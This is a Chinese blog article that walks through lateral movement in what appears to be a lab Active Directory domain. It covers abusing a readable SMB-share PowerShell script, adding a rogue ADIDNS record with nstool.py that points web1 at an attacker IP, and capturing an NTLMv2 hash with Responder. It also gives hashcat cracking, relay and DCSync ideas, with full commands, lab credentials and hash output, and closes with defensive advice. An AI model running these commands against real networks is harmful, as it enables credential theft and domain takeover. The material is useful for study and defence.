当前位置: 首页 > news >正文

聊聊横向移动中的实际技术点 ----- ResponderSMB

目录

🛠️ 1. 横向移动概述

1.1 技术特点

1.2 案例背景

📂 2. SMB共享文件夹分析

🔍 2.1 发现SMB共享中的脚本

🔗 2.2 与上文关联

🖥️ 3. downdetector.ps1脚本分析

🔎 3.1 脚本内容解析

🛡️ 3.2 利用ADIDNS漏洞

🔗 3.3 与上下文关联

🌐 4. Responder拦截工具使用

🔧 4.1 Responder作用与技术栈

🔍 4.2 捕获NTLM哈希

🔗 4.3 与上下文关联

🔑 5. hashcat破解NTLM哈希

🔨 5.1 破解哈希

🔗 5.2 与上下文关联

🔗 6. 攻击链路与横向渗透思路

📋 6.1 完整攻击链

🧠 6.2 横向渗透思路

🔗 6.3 与上下文关联

🌐 7. SMB与其他协议的关系

🖧 7.1 SMB协议概述

🔌 7.2 其他协议

🔗 7.3 与上下文关联

🛡️ 8. 防御建议

⚔️ 9. 攻击技术链可视化

🌟 10. 全局总结

🛠️ 1. 横向移动概述

  • 横向移动是攻击者在获得初始立足点后,通过凭据重用、网络服务滥用或配置漏洞,进一步访问网络内其他系统或账户的过程。

    • 本案例以默认密码NewIntelligenceCorpUser9876为入口

    • 结合SMB共享文件夹中的downdetector.ps1脚本、ADIDNS漏洞和Responder工具。

    • 展示从低权限用户(Tiffany.Molina)提升至高权限用户(Ted.Graves)的完整攻击链。

1.1 技术特点

  • 凭据重用与传递:利用捕获的用户名/密码、NTLM哈希或Kerberos票据,登录其他系统(如RDP、WinRM)。

  • 网络服务滥用:通过伪装SMB、HTTP、DNS等服务,诱导系统泄露凭据。

  • 自动化脚本利用:分析共享文件夹中的脚本(如downdetector.ps1),挖掘逻辑漏洞或高权限账户信息。

  • 权限提升路径:通过哈希破解、中继攻击或服务账户利用,从低权限提升至域管理员。

1.2 案例背景

  • 初始访问:通过Web源码分析和PDF文件提取,获取用户Tiffany.Molina的默认密码NewIntelligenceCorpUser9876

  • 目标:利用SMB共享中的脚本和ADIDNS漏洞,捕获高权限用户Ted.Graves的NTLM哈希,最终实现权限提升。

  • 环境:Active Directory域intelligence.com,包含SMB共享、DNS服务和自动化脚本。


📂 2. SMB共享文件夹分析

SMB(Server Message Block)是Windows环境中广泛使用的文件共享协议,默认运行在TCP 445端口。本节分析IT部门SMB共享中的`downdetector.psかり

🔍 2.1 发现SMB共享中的脚本

  • 发现:使用smbclient枚举IT部门的共享目录,发现PowerShell脚本downdetector.ps1

smbclient -L //10.10.10.248 -U 'intelligence\Tiffany.Molina%NewIntelligenceCorpUser9876'输出:drw-rw-rw- 0 Mon Apr 19 08:50:58 2021 . drw-rw-rw- 0 Mon Apr 19 08:50:58 2021 .. -rw-rw-rw- 1046 Mon Apr 19 08:50:58 2021 downdetector.ps1
  • 分析

    • 路径:\\10.10.10.248\IT\downdetector.ps1

    • 权限:rw-rw-rw-,对所有经过身份验证的用户可读写(CWE-732)。

    • 脚本功能:检测以web*开头的DNS记录对应的主机状态,暗示自动化任务。

  • 技术栈

    • 协议:SMB(端口445)。

    • 工具:smbclient、Windows Explorer、smbmap。

  • 安全风险

    • 权限过宽(CWE-732):低权限用户可访问敏感脚本。

    • 潜在漏洞:脚本可能包含硬编码凭据或逻辑错误。

  • 红队视角

    • SMB共享是内网渗透的常见入口,可用于发现脚本、配置文件或凭据。

    • 自动化脚本通常以高权限账户运行,适合捕获NTLM哈希。

🔗 2.2 与上文关联

  • Web阶段关联:通过/documents/目录的PDF文件获取Tiffany.Molina凭据,进而登录SMB共享。

  • 后续利用downdetector.ps1的逻辑涉及DNS查询和HTTP请求,为ADIDNS漏洞和Responder攻击奠定基础。


🖥️ 3. downdetector.ps1脚本分析

downdetector.ps1是攻击链的核心,利用其逻辑漏洞结合ADIDNS和Responder实现NTLM哈希捕获。

🔎 3.1 脚本内容解析

  • 脚本内容


Import-Module ActiveDirectory foreach ($record in Get-ChildItem "AD:DC=intelligence.com,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=com" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if ($request.StatusCode -ne 200) { Send-MailMessage ` -From 'Ted Graves <Ted.Graves@intelligence.com>' ` -To 'Ted Graves <Ted.Graves@intelligence.com>' ` -Subject "Host: $($record.Name) is down" } } catch { # Write-Output "Unable to connect to $($record.Name)" } }
  • 逻辑分析

    • 导入AD模块:访问Active Directory中的DNS记录。

    • 遍历DNS记录:查询intelligence.com域下以web*开头的记录(如web1.intelligence.com)。

    • HTTP请求:对每个记录发送HTTP请求,使用-UseDefaultCredentials触发NTLM认证。

    • 状态检查:若响应码非200,发送邮件通知给Ted.Graves

  • 技术栈

    • 协议:LDAP(端口389,AD查询)、DNS(端口53,记录解析)、HTTP(端口80,Web请求)、SMTP(端口25/587,邮件发送)。

    • 工具:PowerShell、Active Directory模块。

  • 安全风险

    • 默认凭据(CWE-306)-UseDefaultCredentials触发NTLM认证,易被Responder捕获。

    • 未验证DNS记录:未检查记录合法性,易受ADIDNS攻击。

  • 红队视角

    • 脚本的HTTP请求为捕获高权限用户(如Ted.Graves)的NTLM哈希提供了机会。

    • DNS记录可被低权限用户修改,暗示ADIDNS漏洞。

🛡️ 3.2 利用ADIDNS漏洞

  • 利用点

    • Active Directory集成DNS(ADIDNS)允许普通用户(如Tiffany.Molina)添加或修改DNS记录。

    • 脚本遍历web*记录,攻击者可添加恶意记录(如web1指向攻击者IP)。

  • 步骤

    python3 nstool.py -u 'intelligence.com\Tiffany.Molina' -p NewIntelligenceCorpUser9876 10.129.188.193 -a add -r web1 -d 192.168.96.128 -t A
    • 使用nstool.py添加DNS记录:

    • 脚本访问web1.intelligence.com,触发HTTP请求到攻击者IP。

  • 技术栈

    • 协议:LDAP(修改DNS记录)、Kerberos(端口88,认证)。

    • 工具:nstool.py、krbrelayx。

  • 安全风险

    • 默认权限允许普通用户修改DNS记录(CWE-276)。

    • 未验证的DNS记录导致请求重定向(CWE-601)。

  • 红队视角

    • 诱导脚本向攻击者服务器发送请求,结合Responder捕获NTLM哈希。

🔗 3.3 与上下文关联

  • 上文:SMB共享的宽松权限允许访问downdetector.ps1,揭示其逻辑。

  • 下文:脚本的HTTP请求为Responder捕获NTLM哈希提供了切入点。


🌐 4. Responder拦截工具使用

Responder是内网渗透的利器,通过伪装网络服务捕获NTLM哈希或明文凭据。

🔧 4.1 Responder作用与技术栈

  • 作用

    • NTLM哈希捕获:伪装HTTP/SMB服务器,捕获客户端NTLMv1/v2哈希。

    • LLMNR/NBT-NS中毒:响应名称解析请求,诱导客户端连接攻击者服务器。

    • WPAD攻击:伪装代理服务器,捕获HTTP凭据。

    • 中继攻击:结合ntlmrelayx将哈希中继到其他服务。

  • 技术栈

    • 协议:SMB(445)、HTTP(80)、LLMNR(5355)、NBT-NS(137/138)、WPAD(HTTP)。

    • 工具:Responder、ntlmrelayx。

  • 红队场景

    • 在获得Tiffany.Molina权限后,捕获高权限用户(如Ted.Graves)的哈希。

    • 无文件攻击,仅通过网络协议实现凭据泄露。

  • 安全风险

    • NTLM认证易被捕获(CWE-294)。

    • 未禁用LLMNR/NBT-NS或SMB签名增加中继风险(CWE-319)。

🔍 4.2 捕获NTLM哈希

  • 步骤

    responder -I tun0[HTTP] NTLMv2 Client: 10.10.10.248 [HTTP] NTLMv2 Username: intelligence\Ted.Graves [HTTP] NTLMv2 Hash: Ted.Graves::intelligence:e95a1e793cec1ae5:BF37154FE69F0B57D61449C921398743:...
    • 在攻击者机器上运行Responder:

    • 等待downdetector.ps1访问web1.intelligence.com(192.168.96.128)。

    • Responder捕获Ted.Graves的NTLMv2哈希:

  • 技术栈

    • 协议:HTTP、SMB。

    • 工具:Responder。

  • 安全风险

    • 脚本使用-UseDefaultCredentials触发NTLM认证。

    • 未强制Kerberos认证(CWE-306)。

  • 红队视角

    • 自动化脚本的高权限账户(如Ted.Graves)是捕获目标。

    • 哈希可用于破解或中继攻击。

🔗 4.3 与上下文关联

  • 上文:ADIDNS漏洞诱导脚本发送HTTP请求至攻击者IP。

  • 下文:捕获的哈希为后续破解或中继攻击提供基础。


🔑 5. hashcat破解NTLM哈希

捕获的NTLM哈希可通过离线破解或中继攻击进一步利用。

🔨 5.1 破解哈希

  • 步骤

    Ted.Graves::intelligence:e95a1e793cec1ae5:BF37154FE69F0B57D61449C921398743:...hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
    • 保存哈希到hash.txt

    • 使用hashcat破解:

    • 假设破解成功,获取Ted.Graves的明文密码(如P@ssw0rd123)。

  • 技术栈

    • 工具:hashcat。

    • 协议:无(离线破解)。

  • 安全风险

    • 弱密码(CWE-521)易被字典攻击破解。

    • NTLMv2哈希在高性能GPU下破解速度快。

  • 红队视角

    • 明文密码可登录高权限系统。

    • 若破解失败,可尝试中继攻击。

🔗 5.2 与上下文关联

  • 上文:Responder捕获的哈希为破解提供了输入。

  • 下文:破解的密码或中继的哈希用于权限提升。


🔗 6. 攻击链路与横向渗透思路

📋 6.1 完整攻击链

  1. 🔍 Web源码分析

    1. 发现/documents/目录,下载PDF文件,提取Tiffany.Molina:NewIntelligenceCorpUser9876

    2. 识别TRACE方法、旧框架(jQuery/Bootstrap)。

    3. 工具:Burp Suite、Gobuster。

  2. 📂 敏感文件读取

    1. 利用命名规律(YYYY-MM-DD-upload.pdf)批量下载PDF。

    2. 提取元数据(用户列表)和内容(默认密码)。

    3. 工具:pdf-parser、exiftool。

  3. 🚪 初始访问

    1. 使用Tiffany.Molina凭据通过Kerberos登录,访问SMB共享。

    2. 工具:kerbrute、smbclient。

  4. 📂 SMB共享分析

    1. 发现downdetector.ps1,分析其逻辑(DNS查询、HTTP请求)。

    2. 工具:smbclient、smbmap。

  5. 🛡️ ADIDNS利用

    1. 使用nstool.py添加web1记录,指向攻击者IP。

    2. 工具:nstool.py。

  6. 🌐 Responder捕获

    1. 运行Responder,捕获Ted.Graves的NTLMv2哈希。

    2. 工具:Responder。

  7. 🔑 哈希破解/中继

    1. 使用hashcat破解哈希,或用ntlmrelayx中继到LDAP/SMB。

    2. 工具:hashcat、ntlmrelayx。

  8. 🔝 权限提升

    1. 使用Ted.Graves凭据登录域控,或执行DCSync提取域哈希。

    2. 工具:mimikatz、Impacket。

🧠 6.2 横向渗透思路

  • 目标:从Tiffany.Molina提升至Ted.Graves或域管理员。

  • 策略

    • 凭据重用:尝试NewIntelligenceCorpUser9876登录RDP、WinRM。

    • 哈希中继:将NTLM哈希中继到域控LDAP,添加域管理员账户。

    • Kerberoasting:枚举服务账户SPN,破解弱密码。

    • DNS滥用:添加更多web*记录,捕获其他高权限用户哈希。

  • 技术栈

    • 协议:HTTP、SMB、LDAP、Kerberos、DNS。

    • 工具:Responder、nstool.py、hashcat、ntlmrelayx、kerbrute、mimikatz。

🔗 6.3 与上下文关联

  • 上文:Web和PDF分析提供初始凭据,SMB和ADIDNS为哈希捕获创造条件。

  • 下文:攻击链的成功执行为全局总结和防御建议提供了案例。


🌐 7. SMB与其他协议的关系

🖧 7.1 SMB协议概述

  • 功能:文件共享、打印机共享、远程管理(WMI、PSEXEC)。

  • 版本:SMBv1(不安全,已禁用)、SMBv2/v3(支持加密和签名)。

  • 内网作用

    • 共享敏感文件(如downdetector.ps1)。

    • 集成NTLM/Kerberos认证,易被捕获或中继。

  • 外网作用

    • 通常不暴露(防火墙阻止445端口)。

    • 可通过VPN或XSS诱导用户访问恶意SMB服务器。

  • 安全风险

    • 权限过宽(CWE-732)。

    • NTLM认证易被捕获(CWE-294)。

    • 未启用SMB签名(CWE-319)。

🔌 7.2 其他协议

  • LDAP(端口389/636)

    • 作用:查询/修改AD对象(如DNS记录)。

    • 利用:ADIDNS滥用、中继攻击。

    • 风险:默认权限过宽(CWE-276)、明文传输(CWE-319)。

  • Kerberos(端口88)

    • 作用:域认证,基于票据(TGT/TGS)。

    • 利用:Kerberoasting、Pass-the-Ticket。

    • 风险:弱服务账户密码(CWE-521)。

  • DNS(端口53)

    • 作用:域名解析,ADIDNS存储在AD中。

    • 利用:添加恶意记录、LLMNR/NBT-NS中毒。

    • 风险:未验证记录(CWE-601)。

  • HTTP(端口80/443)

    • 作用:Web服务通信。

    • 利用:捕获NTLM哈希、WPAD攻击。

    • 风险:默认凭据认证(CWE-306)。

  • SMTP(端口25/587)

    • 作用:邮件发送。

    • 利用:伪造通知诱导点击。

    • 风险:未启用TLS(CWE-319)。

🔗 7.3 与上下文关联

  • 上文:SMB共享中的脚本触发HTTP请求,结合ADIDNS和Responder实现攻击。

  • 下文:协议的协同利用为攻击链提供了多维度路径。


🛡️ 8. 防御建议

  • 网络层面

    • 禁用SMBv1,强制SMBv3加密和签名。

    • 禁用LLMNR/NBT-NS,使用DNS服务器解析。

    • 阻止445、137、138端口外网访问。

  • 认证安全

    • 强制Kerberos认证,禁用NTLM。

    • 实施强密码策略,启用MFA。

  • 权限管理

    • 限制SMB共享权限,仅允许必要用户访问。

    • 禁止普通用户修改ADIDNS记录。

  • 监控检测

    • 部署IDS/IPS,监控异常NTLM和DNS请求。

    • 使用SIEM记录LDAP、Kerberos日志。


⚔️ 9. 攻击技术链可视化


{ "type": "flow", "data": { "nodes": [ { "id": "1", "label": "Web 源码分析" }, { "id": "2", "label": "敏感文件读取" }, { "id": "3", "label": "初始访问" }, { "id": "4", "label": "SMB 共享分析" }, { "id": "5", "label": "ADIDNS 利用" }, { "id": "6", "label": "Responder 捕获" }, { "id": "7", "label": "哈希破解" }, { "id": "8", "label": "哈希中继" }, { "id": "9", "label": "Kerberoasting" }, { "id": "10", "label": "权限提升" } ], "links": [ { "source": "1", "target": "2" }, { "source": "2", "target": "3" }, { "source": "3", "target": "4" }, { "source": "4", "target": "5" }, { "source": "5", "target": "6" }, { "source": "6", "target": "7" }, { "source": "6", "target": "8" }, { "source": "3", "target": "9" }, { "source": "7", "target": "10" }, { "source": "8", "target": "10" }, { "source": "9", "target": "10" } ] }, "options": { "layout": { "hierarchical": { "direction": "LR" } }, "nodes": { "shape": "box", "color": { "background": "#2196F3", "border": "#1976D2", "highlight": { "background": "#42A5F5", "border": "#1565C0" } }, "font": { "color": "#FFFFFF" } }, "edges": { "color": "#1976D2", "arrows": "to" } } }

🌟 10. 全局总结

本次攻击链从Web源码分析到SMB共享利用,展示了横向移动的完整过程:

  • Web阶段:通过PDF文件提取初始凭据,揭示系统架构。

  • SMB阶段:利用downdetector.ps1和ADIDNS漏洞,捕获高权限用户哈希。

  • 横向移动:通过哈希破解或中继,扩展权限至域控。

  • 关键漏洞:目录遍历(CWE-552)、默认凭据(CWE-259)、ADIDNS权限过宽(CWE-276)、NTLM认证捕获(CWE-294)。

http://www.lqws.cn/news/567469.html

相关文章:

  • FastAPI+Sqlite+HTML的登录注册与文件上传系统:完整实现指南
  • 驱动开发系列58 - 揭开内核IRQ框架的神秘面纱
  • 对基尼指数作出的努力
  • jenkins启动报错,一直无法启动
  • 介绍Windows下的由Sysinternals开发的一些小工具
  • 实战篇----利用 LangChain 和 BERT 用于命名实体识别-----完整代码
  • OpenAI 系列大模型发展时间轴与主要特性
  • 用Flink打造实时数仓:生产环境中的“坑”与“解药”
  • Mac homebrew 安装教程
  • linux系统---Nginx反向代理与缓存功能
  • Springboot 集成 SpringState 状态机
  • 代码随想录打卡第一天
  • C语言中常见字符串处理函数
  • 量子算法入门——5.Qiskit库介绍与简单应用(2)
  • Ubuntu服务器(公网)- Ubuntu客户端(内网)的FRP内网穿透配置教程
  • 博图SCL编程利器:CASE OF 语句详解与应用指南之设备运行模式选择框架
  • 领域驱动设计(DDD)【28】之实践或推广DDD的学习
  • docker compose基本使用以及示例
  • 基于springboot+vue的数字科技风险报告管理系统
  • URL带有中文会引入哪些问题
  • http相关网络问题面试怎么答
  • 算法-基础算法-递归算法(Python)
  • 第十二节:Vben Admin 最新 v5.0 (vben5) 快速入门 - 两种权限控制方式(附前后端代码)
  • Vue 3 Teleport 特性
  • DXYZ投资-ai公司
  • 左神算法之Zigzag方式打印矩阵
  • Java面试题031:一文深入了解MySQL(3)
  • Vivado关联Vscode
  • Rust标量、复合类型与自定义类型、第三方并发结构
  • 【软考--软件设计师】2025-05 我的选择题错题总结